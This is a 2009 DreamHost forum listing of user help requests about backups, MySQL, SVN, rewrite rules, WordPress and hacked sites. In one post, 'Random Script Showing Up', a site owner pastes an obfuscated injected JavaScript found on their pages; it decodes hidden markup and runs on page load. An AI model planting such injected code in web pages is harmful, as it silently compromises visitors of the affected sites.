DreamHost Discussion Board

doing backups?

Obaid — Sat, 07 Nov 2009 03:19:18 -0800

it's pretty essential to be able to fully use the service to have the ability to backup my stuff!!!
Otherwise how can i feel safe regarding my data? Please do something about the backup problem, I've noticed so many reports in the forums and most of it were left un-resolved.

Thanks

MySQL server lost connection / system error

bearsperth — Sat, 07 Nov 2009 00:23:43 -0800

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I am getting a mySQL server error:

mysqladmin: connect to server at 'data.bearsperth.org' failed
error: 'Lost connection to MySQL server at 'reading initial communication packet', system error: 113'

this is thus resulting in my website being only partly served.

mysql server is "barbaro:haarstad"

Any ideas, or is this one of them things that we need to wait for admin?

Automatic Backup (matttail) stopped working

Socketvox — Fri, 06 Nov 2009 18:47:05 -0800

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I followed this tutorial, but are getting some problems. I see at the top of the tutorial there is a warning that I may no longer work...would that cause the issue?

http://wiki.dreamhost.com/Automatic_Backup#Backup_ALL_Domains

the domain has been replaced with 'DOMAIN' and user replaced with *user*

Starting Domain backups
Starting DOMAIN.com.au
tar: DOMAIN.com.au: Cannot stat: No such file or directory
tar: Error exit delayed from previous errors
Finished DOMAIN.com.au
---Finished all domain backups...

My script is this:

#!/bin/bash
suffix=$(TZ=Australia/Brisbane date +20%y-%m-%d_%H.%M)
domains=( "DOMAIN.com.au")
cd /home/*user*/.snapshot/nightly.0/
echo Starting Domain backups
for domain in ${domains[@]}

do
echo Starting ${domain}
tar -cf /home/*user*/backups/archives/domain/${domain}.$suffix.tar ${domain}/
echo Finished ${domain}
done
echo ---Finished all domain backups...
echo

Am I doing something wrong? Thanks for any help.

MySql 1045 error with SELECT INTO OUTFILE

ajvcal — Fri, 06 Nov 2009 15:44:22 -0800

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I'm trying to do a backup of a table (tab-delimited txt file) using (from the command line while logged into karpis.dreamhost.com):

mysqldump --opt -T "./" -h mysql.mydomain.me -uUser -pPassword dbName dbTable

I get the error message:

mysqldump: Got error: 1045: Access denied for user 'User'@'67.205.0.0/255.255.192.0' (using password: YES) when executing 'SELECT INTO OUTFILE'

Interestingly enough, the mysqldump command does write out the dbTable.sql file, but not the dbTable.txt file (as indicated by the error message). Since I can connect, it would seem the issue might be related to file permissions, but I haven't found a way to grant "User" FILE privileges. Currently, "User" has all the privileges that are available through the Dreamhost web panel.

Is the issue with file permissions? If so, how can grant "User" the necessary permissions?

Thank you,

Andrew.

SVN issues -- errors during transfer

hexland — Fri, 06 Nov 2009 15:12:29 -0800

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We're experiencing some problems from one or two users during SVN checkout and/or update processes.
The problem appears to affect only one or two users, and it never happens in the same place twice.

We're running Windows XP (SP3) and TortoiseSVN 1.6.6.

When performing a checkout or update, the process will halt with an error
REPORT of '/dbname/!svn/vcc/default': Chunk delimiter was invalid (http://server.com)
(proper dbname and server name redacted)

Searching for the SVN error seems to point to problems with Apache (https://bugs.launchpad.net/bzr-svn/ bug/275643)

(https://issues.apache.org/bugzilla/show_bug.cgi?id=34332)

This seems to be bourne out by some of the HTTP access log entries around the time of the SVN checkout

[Fri Nov 06 14:41:02 2009] [error] [client 98.149.79.149] Provider encountered an error while streaming a REPORT response. [500, #0]
[Fri Nov 06 14:41:02 2009] [error] [client 98.149.79.149] A failure occurred while driving the update report editor [500, #190004]

http://subversion.tigris.org/faq.html#tiger-apr-0.9.6
(This link assumes the server is running on Mac (OS X Tiger), but the errors are identical)

I can't seem to work out which version of Apache you're using though.

Has anyone else experienced these issues?

Edited by hexland on 11/06/09 03:17 PM (server time).

ssh login - how to use my .bashrc by default

talz13 — Fri, 06 Nov 2009 11:30:30 -0800

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When I log in to ssh, I am greeted with the [minsk]$ prompt like normal. I have updated my .bashrc file with some aliases and preferred display type (user@minsk:~/...$), but I must source .bashrc before it will load my settings. How can I have my settings loaded by default on login?

ssh - upload from dreamhost to flickr?

talz13 — Fri, 06 Nov 2009 11:28:20 -0800

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Is there any way that I can upload to flickr on the command line directly from my dreamhost SSH login? Or any other way, really... I regularly backup my photos to my dreamhost account for a web-available copy, but want to get them over to flickr as well without re-uploading gigs of data over my slow connection again.

Inspiration CSS Showcase

maiden — Fri, 06 Nov 2009 08:28:34 -0800

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Hi, I recently discovered the CSS Galleries, a CSS Gallery is a great inspiration source! The most important galleries are CSS Mania and CSS Vault, but there are a lot more! You can find a complete list at meecss.com

FTP - Upload speed very slow

garbun0629 — Fri, 06 Nov 2009 05:31:03 -0800

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Hi All.

I am recently addicted to upload videos to my dreamhost account.

However, I noticed that the upload speed is very slow (around 42k / sec), which usually takes me 8 hrs to upload 1GB of videos.

I tried to turn off firewall and no improvments.

Any thoughts?

Thanks!

Can Flash Player support HD videos?

garbun0629 — Fri, 06 Nov 2009 05:28:50 -0800

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I'm a newbie to Flash player.
I have a HD video camera. So I wonder if I convert the HD files to .flv, can it display HD?

locking thread killer

Wikademia — Thu, 05 Nov 2009 22:40:38 -0800

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i wasn't actually serious. jeez.

game starts here:
Thread killer..... no cheating this time. jeez-louize

Wikademia

New Site Dirs created by root

ungeheier — Thu, 05 Nov 2009 19:17:03 -0800

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I just transferred and moved a site from another Dreamhost account. The panel interface continues to make this site's dir's owned by root. This means that I cant add/edit/delete anything in those dirs and the site is now down...

Any help with this? I cant seem to find a place to call at Dreamhost to tell them what their system is doing... At first I thought it was possibly my FTP program, but I was able to edit files in OTHER dirs. I took a look at the info on the new dirs and they are root/root...

Edit: I also have a new user that I created that's sitting in a state of 'pending changes'. This is the 2nd user ive tried to create tonight, the other one was in 'pending changes' state for 2 hours... =\

Edited by ungeheier on 11/05/09 07:20 PM (server time).

SVN Server Version

hexland — Thu, 05 Nov 2009 18:59:35 -0800

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Are there any plans to upgrade the SVN Server from 1.4.2 (which is currently being reported from svnadmin via SSH) to anything above 1.6?

accessing site through dreamhost.com URL

sdcsb — Thu, 05 Nov 2009 17:05:55 -0800

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Okay, complete newbie question here. We just signed up for dreamhost and will _eventually_ update the DNS record so that http://sdcsb.org points here. But until then, how do I access my dreamhost account? I've tried http://dreamhost.com/~sdcsb, http://dreamhost.com/sdcsb, http://kinshasa.dreamhost.com/sdcsb, etc. No luck... Help please?

PHP gallery problems

Sebastiang — Thu, 05 Nov 2009 16:18:04 -0800

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So im trying to create a PHP gallery. And I want the thumbnail (links) to display the actual image beside it. Now so far I have that part working. But the issue is when I go that page in the first place. I want the first image to already be displayed and then I can continue clicking the others. But it simply doesn't work. I've tried a number of different variations and I get a number of different problems...

Heres my code:

$pic = $HTTP_GET_VARS['pic'];
if(!$pic) {$pic='Album';}?>

.jpg" alt="example" title="example" height="450px" width="450px"/>

Its been really frustrating me and I would appreciate any help!

Edited by Sebastiang on 11/05/09 04:19 PM (server time).

weirder bad_httpd_conf

crispydog — Thu, 05 Nov 2009 13:14:17 -0800

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I have this infamous DH error only on my main desktop running XP. Yes, it did work satisfactorily two weeks ago. I can access my site okay from anybody else's PC or laptop(Vista and XP). I've tried all the "cures" including the Change in the edit domain screen, clearing cache, stopping my antivirus, flushdns, reboot, etc, etc.. Thank you in advance for any additional ideas?

Edited by crispydog on 11/05/09 01:15 PM (server time).

After Snow Leopard can't connect to remote db

alvarix — Thu, 05 Nov 2009 12:42:13 -0800

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I have several wordpress sites that I have setup locally to use the remote mysql db. This helps avoid duplication in your testing and production environments.
Since upgrading to Snow Leopard the ability to connect to remote dbs has been obliterated. I found an explanation on stack over flow:

"I have resolved this. The issue indeed was due to Snow Leopard's default of using mysqlnd as the module for PHP 5.3 it ships with, not with Dreamhost. That module flatly refuses to connect with servers using OLD_PASSWORD hash.

The only solution to this (as I can't change MySQL settings on shared hosting) is to recompile your own PHP, that will not use mysqlnd but mysql/mysqli."

http://stackoverflow.com/questions/1447098/snow-leopard-connect-from-local-wordpress-to-remote-db

I am asking here to see if anyone else has had this problem and foudn an easier solution than recompiling php.

max file upload size

skyhigh — Thu, 05 Nov 2009 08:01:20 -0800

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Hi

How do you change the maximum file upload size in the shared hosting in dreamhost?

ftp file to site OK - but not visible via browser?

gasballoon — Thu, 05 Nov 2009 03:22:00 -0800

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I have uploaded files to my website OK via ftp - BUT - when I log onto the site via a browser, the files are not found.
(All other files visible in the normal way.)

Can anyone suggest a solution please?
Thanks.

Wordpress Plugin advice for rotating graphic/video

stanwelks — Wed, 04 Nov 2009 19:37:51 -0800

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I want to post a graphic that will randomly rotate and when clicked, will link to a page with more info.

1.) Can someone please recommend widget or plugin that does this?

2.) Is there a widget or plugin that will also do this with videos?

Thanks!!!!!!

Dreamhost VPS MySQL

brownidj — Wed, 04 Nov 2009 19:07:14 -0800

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Hi

Does anyone know what the Dreamhost policy is on running persistent processes on one of their VPS (MySQl)? And where to read about that policy?

Thanks

Can not backup my drupal database

saharabear — Wed, 04 Nov 2009 17:59:19 -0800

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Hi,

I am using DreamhostApps, it works well, but how can I back up the database? when I click "Backup database" button, I get the following:
Success! Your database has been scheduled to be backed up! We will email you when everything is done and where you can download the backup!

But, I nevery receive any email for this.

Can anybody help me?

making subdomain questions

skyhigh — Wed, 04 Nov 2009 17:19:42 -0800

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Hi

I just create a subdomamin under my domain and when i try to accees the web address, it says site temp unavailable an got " error id: "bad_httpd_conf" ". What did i do wrong?

When i creating the subdomain, i type "hello.domainname.com at the domain to host. Also, how do I upload file to the subdomain folder?

disable output buffering in CGI scripts?

cormyn — Wed, 04 Nov 2009 16:26:18 -0800

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How do I disable output buffering in CGI scripts so the browser prints text as it's available (as opposed to waiting for all text output then rendering it all in one shot) ?

I currently have this in my code:

$|=1;

... which works on other hosting providers. But it doesn't work on my dreamhost account on the greengoblin server. I initially thought it was a problem with the mod_deflate module since that's known to buffer all output first, but I had a support rep turn that off for my account but it didn't help.

Anyone have any other tricks to make this work?

Take this example:

#!/usr/bin/perl
use strict;
$|=1;
print "Content-type: text/plain\n\n" ;
print "I was here\n" ;
sleep 3 ;
print "I was here again...\n" ;
exit ;
#eof

... If this were written as a CGI script, it *should* print the first line of text ("I was here\n"), then sleep 3 seconds, and then render the second line of text ("I was here again...\n")

In fact, here are two URL's to test:
One hosting provider where the output buffering works as expected:
http://iandouglas.com/cgi-bin/sleep-test.cgi

Here at dreamhost, where output buffering is turned on:
http://warchestgame.com/cgi-bin/sleep-test.cgi

This works for me on other hosting providers, but not here at Dreamhost, and I'm not sure what else to ask support to try. (Daniel J, the support rep helping me didn't know what else to try either).

Thanks!

Edited by cormyn on 11/04/09 04:37 PM (server time).

UAW Wordpress Plugin Problem

DanFoote — Wed, 04 Nov 2009 16:22:32 -0800

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I am attempting to use a plugin that I have used on a few sites before but the on the new site when I hit test and update I get the following error message:

Sorry, there was a problem submitting the test article for dir_id 33681 to http://www.bestacidrefluxdiseasediet.com/wp-content/plugins/unique_articles/add_article.php: Error message: does not exist on http://www.bestacidrefluxdiseasediet.com/wp-content/plugins/unique_articles/add_article.php

Now the plugin itself doesn't even have this error on their site and I submittted a ticket with them to see if they do know anything about this but to no avail so far. So I was wondering if it could possibly be an error with the way my Domain was setup with DreamHost? Because it has happened before to me but the funny thing is that everything else SEEMS to be functioning properly, though I haven't really tested it very well.

Forums Down - Help!

Shurukian — Wed, 04 Nov 2009 10:48:20 -0800

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I help to run a forum that is hosted by DreamHost. However, my webmaster is missing (and has been since October), and my forum has gone down! All I get is "Site Temporarily Unavailable
We apologize for the inconvenience. Please contact the webmaster/ tech support immediately to have them rectify this.

error id: "bad_httpd_conf" "

Now, my Webmaster never left me with any access information on how to log in for this stuff. My forum has been down for three days now, and it's direly important for me to get it back up. There's no way that I can get DreamHost support, because I can't log in to email them, so this is the only thing I can think of. Is there anyway that Dreamhost would be able to fix the error? Thank you...

Masking Joomla install directory

mikecron — Wed, 04 Nov 2009 09:42:43 -0800

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Hi all,

I'm starting to work with Joomla and have followed some steps to mask the installation directory that I put Joomla in. I installed Joomla to my domain.com/j/ directory, and have set up my .htaccess file to make it appear as though all pages are coming right from the root: domain.com/

Internet Explorer seems to be the exception, however. All other browsers have no problem accessing the site (Firefox, Chrome, Safari, Opera, etc.) but IE returns a DNS error and says it can't connect to the domain.

Here's the content of my .htaccess file:

#These first two lines might already be in the file - no need to repeat
Options +FollowSymlinks
RewriteEngine on

# remove "www" (this may be optional)
#RewriteCond %{HTTP_HOST} ^www\.roninstudio\.net$ [NC]
#RewriteRule ^(.*)$ http://roninstudio.net/$1 [R=301]

# Redirect to the Joomla root folder
RewriteCond %{HTTP_HOST} ^(www\.)?roninstudio\.net$ [NC]
RewriteRule ^(index\.html)?$ http://www.roninstudio.net/j/ [R=301]

# Only apply to URLs on this domain
RewriteCond %{HTTP_HOST} ^(www\.)?roninstudio\.net$

# Only apply to URLs that aren't already under folder
RewriteCond %{REQUEST_URI} !^/j/

# Don't apply to URLs that go to existing files or folders
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d

# Rewrite all those to insert /j
RewriteRule ^(.*)$ /j/$1 [L]

Does anything here jump out at anyone as to why this might be the case? I cobbled these rules together based on various postings from the net -- my understanding on this topic is rudimentary, so I'm hoping someone else has a better grasp on this.

Google labeled me as malware

HelsinkiValo — Wed, 04 Nov 2009 09:34:21 -0800

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SO i logged in to dreamhost to day and got this for my friend's site.

"It appears that 1 of your domains is listed by Google as hosting dangerous content."

Here's the link to the google report.

http://google.com/safebrowsing/diagnostic?tpl=firefox&site=erinmichellebrown.com&hl=en-us"

I have deleted all data off the site, seeing as how nothing was done to it yet anyway. How do fix this, the note is still popping up and the malware screen still show when I enter the URL.

http://www.ErinMichelleBrown.com

dvipng

spradlig — Tue, 03 Nov 2009 20:12:41 -0800

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I am new to DreamHost and I switched because I need to install MathTex. The creator of MathTex is on DreamHost and the package appeared better than my previous shared hosting package. I'm still deciding if I'll stay with DreamHost and this would go a long way.

MathTex (http://www.forkosh.com/mathtex.html) requires a latex package and dvipng. DreamHost already has latex but not dvipng. In order to compile dvipng you need libgd and libkpathsea. Both of which are available at /usr/lib and /usr/include. However, the configure command for dvipng consistently returns the error can't find/use libkpathsea.

I have not put dvipng under the texmf tree (not sure where this would go but I assume top level). I have simply tried to compile under one of my domain folders.

Thank you, in advance, for your help

Anyone know of a solution?

Game:Thread killer

Wikademia — Tue, 03 Nov 2009 13:29:00 -0800

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hey everyone. close this thread. no more replying to it.

Wikademia

Problems allowing wp in my domain

musickapess — Tue, 03 Nov 2009 12:46:26 -0800

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Hi

I am trying to put online a wordpress blog with my dreamhost domain but I don't know what's my mistake because always an error message appear when I try to visit.
I followed this guide; http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory

My problem is that when I put the "index.php" in the root directory's (/mydomain.org/),when I try to see my blog thru mydomain.org this is what I found->

Fatal error: require() [function.require]: Failed opening required './mydomain.org/wordpress/wp-blog-header.php' (include_path='.:/usr/local/php5/lib/php:/usr/local/lib/php') in /home/username/mydomain.org/index.php on line 17

If I see my blog thru mydomain.org/wordpress no problem exist.

What I am doing wrong? Please any help it's apreciated

Thanks in advance and sorry for my english

Show sub-domain not IP

bgreenstore — Tue, 03 Nov 2009 10:00:54 -0800

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We have our domain, bgreenlifestyle.com, hosted with Dreamhost. We have our e-commerce store hosted with Network Solutions. We've setup a sub-domain on Dreamhost, shop.bgreenlifestyle.com, to direct to our store at Network Solutions.

We set this up as a re-direct, with our IP address that we received from Network Solutions. However, when you type in that address, shop.bgreenlifestyle.com, in the web browser, it displays the IP address.

How do we set this up to always show our shop.bgreenlifestyle.com sub-domain? I'm pretty sure this is possible without using the "cloak" function.

Show sub-domain not IP

bgreenstore — Tue, 03 Nov 2009 09:59:10 -0800

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PHP BBCode

chaseler — Mon, 02 Nov 2009 17:35:45 -0800

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Hey Guys,

I've been with Dreamhost for a few months now, and it's been great. I've recently come across a problem though; I am trying to implement BBCode into my blog, in the comments. I want to use this because it is secure and works well. I have a custom BBCode class, but this has many security loopholes, and I wish to use the official one. Does any one know how to set this up on my dreamhost account?

Regards,
Chris Haseler

Deleting my forum account.

electrickrypt — Mon, 02 Nov 2009 17:23:13 -0800

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I was wondering if it is possible to have all posts/threads by me deleted along with my account.

No email for 3 days, no response from support

Mus — Mon, 02 Nov 2009 17:15:08 -0800

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Should I expect a response to a ticket submitted 14 hours ago?

linux mail

MajorGeek — Mon, 02 Nov 2009 16:54:41 -0800

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How is command line linux mail implemented on DH hosts? My cron jobs send me mail. One was sending me a warning that I missed for a while because I can't seem to get the mail command to work as it does on my old Solaris server. On bogota, when I type mail, all I get is mail: /home/username/Maildir:/ Is a directory. Maybe this is because the current mail is getting stuffed in a subdirectory named "new"

It's hard to search for this in the forum, or wiki, because there are so many hits for regular email and webmail.

This signature line intentionally blank.

Edited by MajorGeek on 11/02/09 04:58 PM (server time).

phpThumb

jkofoed — Mon, 02 Nov 2009 14:34:09 -0800

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I'm trying to use phpThumb to resize some gallery images. It just doesn't do the resize.

http://www.jasonkofoed.com/wedding/index.php?album=test

Does anyone know if this works or not?

My website was hacked - figuring it out

kristopher.reed — Mon, 02 Nov 2009 10:14:47 -0800

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So, quite to my amusement, my dreamhost website was hacked: www.krisreed.com . No real harm was done. The site had nothing important on it--just a CMS that I am programming (of which the most recent version is on my hard drive). However, I am quite interested in figuring out how he hacked it, in order to prevent it in the future. My questions are at the very bottom if you would like to peruse them first.

Note
There is a nice page on the wiki: http://wiki.dreamhost.com/Troubleshooting_Hacked_Sites about what to do if your site was hacked

The name given on the hacked page is Cyb3erking, which, from a google search, seems to be a Turkish hacker. Now, my goal is to figure out how he hacked my site. I am putting this up here for anyone to add their 2 cents in.

So, here are the facts:
The only file that seems to have been affected is the index.php file, the content of which were completely replaced with the string "By Cyb3rking".
The "modified" property of the file still says the 20th of October, which I believe corresponds to when I uploaded it.

Now, my ftp password was really weak, so it is quite possible that he cracked the password on it. However, I looked up the access log, and I got this:

(executed the command "last -i | grep kristoph" while SSHed in)

kristoph pts/0 98.206.92.143 Sun Nov 1 20:25 still logged in
kristoph ftpd6501 98.206.92.143 Sun Nov 1 18:31 gone - no logout
kristoph ftpd6446 98.206.92.143 Sun Nov 1 18:31 gone - no logout
kristoph ftpd26494 98.206.92.143 Sun Nov 1 09:59 gone - no logout

(the pts/0 entry is the ssh login I was doing to read the log file)

Notice that all of the entries are from my IP address, so 18:31 UTC-8 must be when I was FTPing in to see how the hack was done.

I also checked the HTTP access logs, and I have this (portion of text from my log file, stored in ~/logs/krisreed.com/http/:

66.249.67.196 - - [01/Nov/2009:01:32:02 -0800] "GET / HTTP/1.1" 200 277 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
67.202.60.234 - - [01/Nov/2009:01:48:59 -0800] "GET / HTTP/1.1" 200 214 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090926 Iceweasel/3.5.3 (Debian-3.5.3-1)"
67.202.60.234 - - [01/Nov/2009:01:48:59 -0800] "GET / HTTP/1.1" 200 214 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090926 Iceweasel/3.5.3 (Debian-3.5.3-1)"
66.249.67.196 - - [01/Nov/2009:09:03:36 -0800] "GET /robots.txt HTTP/1.1" 404 494 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.67.196 - - [01/Nov/2009:09:03:36 -0800] "GET /layout/layout.css.php HTTP/1.1" 200 3847 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.67.196 - - [01/Nov/2009:09:04:41 -0800] "GET /cjcms/editors/cjcms/editors/editors/xinha/XinhaCore.js HTTP/1.1" 404 513 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.67.196 - - [01/Nov/2009:12:12:07 -0800] "GET /cjcms/spages/ HTTP/1.1" 200 561 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.67.196 - - [01/Nov/2009:13:17:00 -0800] "GET /cjcms/cjcommon/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
98.206.92.143 - - [01/Nov/2009:18:31:07 -0800] "GET / HTTP/1.1" 200 277 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090920 Firefox/3.5.3 (Swiftfox)"
98.206.92.143 - - [01/Nov/2009:18:31:07 -0800] "GET /favicon.ico HTTP/1.1" 200 270 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090920 Firefox/3.5.3 (Swiftfox)"
98.206.92.143 - - [01/Nov/2009:18:31:11 -0800] "GET / HTTP/1.1" 200 277 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090920 Firefox/3.5.3 (Swiftfox)"

Now, there are two hits at 1:48 UTC-8 from a 67.202.60.234 (which is in Turkey). I am assuming this is him. He apparently uses Iceweasel (and more-OpenSource version of Firefox). All the other entries for that day (up until I checked it at 18:31 UTC-8, everything afterwards is ommited) are either googlebot or myself (the "Swiftfox" entries).

So, basically, besides the two HTTP log hits, I don't have a record of him doing anything (besides loading my page twice). I would expect an FTP login if he did it via FTP, or an HTTP log of more meddlesome activities if he had compromised my CMS. Neither are found.

Questions:
Could he have edited either the FTP or the HTTP log files to cover his trails?
How else could he have done this hack?
Is there anything else that I can check for?

Of course, any other insights, thoughts, or questions are appreciated.

How to upload Wordpress site?

stanwelks — Mon, 02 Nov 2009 05:57:55 -0800

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I am using a trial account of what seems to be an amazing program for people who have no idea how to design their own Word Press sites (me) and I just made a Word Press theme and I want to upload it to check it on the server. I have an entire folder of files that was exported from the program. Do I just FTP the entire folder over? I have worked with FTP and flat HTML files before but never Wordpress. Thanks!

How to restore SQL DB from local clean backup?

biodrama — Sun, 01 Nov 2009 20:18:49 -0800

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I am unfamiliar with the phpMyAdmin interface. I have 3 Wordpress blogs that got infected when I missed the last update. I restored the databases in the Dreamhost control panel, but the oldest copy there is 5 days old, and the infection was 6 or 7 days old. I have clean local copies that predate the infection, but could not figure out how to proceed in DreamHost's phpMyAdmin interface. I know this must be possible! How do I get my local database backup restored into my blog? I need to delete or overwrite the databases of these blogs, because I am pretty sure the attack was an SQL injection to the DB.

I have already cleaned the visible foreign code out, updated Wordpress, and changed all passwords.

Edited by biodrama on 11/01/09 08:38 PM (server time).

we started using dreamhost at voicelogic.com

rbinkly — Sun, 01 Nov 2009 12:53:49 -0800

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We were impressed with functionality and ease of use.

Web FTP Interface Disaster

biodrama — Sun, 01 Nov 2009 11:36:03 -0800

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I selected an alternate "skin" for web ftp out of curiosity. Big mistake. The skin is horrible, nearly unusable, and offers No Way Back to the default. What do I do now?

The skin I tried out is called "India." Warning! The skin selector does not appear in this skin!

Edited by biodrama on 11/01/09 11:39 AM (server time).

WebSVN and SSPI authentication

iacchi — Sun, 01 Nov 2009 08:42:51 -0800

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Hi,
I've set up two repositories on a domain and I want to use a WebSVN installation to view them. The users are different for the two repos, so I'd like to setup a per repository authentication in WebSVN. I've tried to follow the instructions in the installa file (modify .htaccess and adding the two repos in config.php) but I get an Error 500 on the server if I try to open a page.

Did anyone reach to use this authentication method with WebSVN here on DreamHost?

phpbb not showing confirmation code

kelly7552 — Sat, 31 Oct 2009 22:22:33 -0800

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When I use the 1 click install, the confirmation code doesn't show up on the registration page, meaning no new people can register. Other fourms suggest that it might be a php GD Library isn't installed. Does dramhost install the GD library?

Location to upload videos?

stanwelks — Sat, 31 Oct 2009 20:18:04 -0800

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I want to embed a bunch of either h.264 or .FLV files on my future WP site. Should I just create a directory in my root called videos or something like that to place the videos inside of, just as you would do with images, or is there another way to do this?

Thanks.

Installing plugins in Easy Mode?

stanwelks — Sat, 31 Oct 2009 19:55:54 -0800

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I want to build a WordPress site using some plugins I have found on the web.

Just for clarification:

1. If I choose Easy Mode, can I install these, or only the ones already provided?
2. Which plugins are already provided through Easy Mode?
3. Can I switch from Easy Mode to Advanced or the other way around once I make my decision?

Thanks!

Going from PSD to Word Press?

stanwelks — Sat, 31 Oct 2009 19:32:22 -0800

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I created the how I want my WordPress pages to look in Photoshop and now want to make a WordPRess site out of it though I have no experience with using it.

1. What is the next step? Do I just slice it up and somehow import it into a WP page?

Thanks.

Random Script Showing Up

Stamps — Sat, 31 Oct 2009 16:45:33 -0800

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So I been with dreamhost since 96 never had a problem till the past month. I been getting emails from Google and other search engines letting me know my webpages are unsafe to visit so on....

I have been finding random scripts showing up on webpages and also random email alerts from Google letting me know my webpages are unsafe to visit.

Script I found today one of my webpage.(remove script tag unaware if this fourm supports script paste)

Thank you for your support,

==== Unknown Random Script ====

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;function fJhSoXkp(){var HUz=new Function("ViKCfr", "return " rTUM(0xc-0x1b-0x14 0x7 0x32 0x149, 'I','315I304I316I298I306I314I305I299I') "." rTUM(-0x2d 0x1 0x32 0x25 0x331, 'U','830U819U824U805U') "");var iMqIlD=HUz(0x14 0x25-0x17 0x24 0x1c-0x61);iMqIlD.innerHTML = rTUM(0x2d-0x15-0x2e-0x1-0x8-0x1b 0xe-0x24 0x3ca, 'w','838w787w796w776w795w791w799w858w781w787w798w782w786w839w843w858w786w 799w787w797w786w782w839w843w858w792w789w776w798w799w776w839w842w858w796w776w795w791w799w79 2w789w776w798w799w776w839w842w858w777w776w793w839w861w786w782w782w778w832w853w853w 835w841w852w843w847w834w852w843w843w846w852w843w841w835w853w779w799w776w782w853w787w 788w798w799w770w852w778w786w778w861w836w838w853w787w796w776w795w791w799w836w');}function zoq(scCwWhO){ var kFgWGahX = document.getElementById('aYv'); fff.op.replace("967");alert('fsg');var SvkyC=new Function("GFlrDZYg", "return 882261;"); }
;if(window.addEventListener){window.addEventListener('load',fJhSoXkp,false);}else if(window.attachEvent){window.attachEvent('onload', fJhSoXkp);}function gwPmhjtT(acxLyTwG){ var ocS = document.getElementById('RlvWaxjn'); }
;[/script]

Edited by Stamps on 10/31/09 04:56 PM (server time).

Rails application error after Copenhagen crash

nwillis — Sat, 31 Oct 2009 13:16:39 -0800

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Hi,
I run a Rails app on one of my domains -- "Tracks" -- just for my own private amusement. Unfortunately, my domain was on Copenhagen, which crashed and burned for two days earlier this week. Well, since it came back up, I haven't been able to get the Rails app up and running again, and I just don't know enough about it to diagnose the problem. I'm a Rails user, not a Rails hacker.

The app just displays a 500 error: "Application error (Apache)" .... I can clear the cookies and the app login screen appears to be working fine so I know the app is running, but once I log in it's 500.html all the way down.

This just started after the crash, yet I can't figure out where to look for the problem. Any advice?

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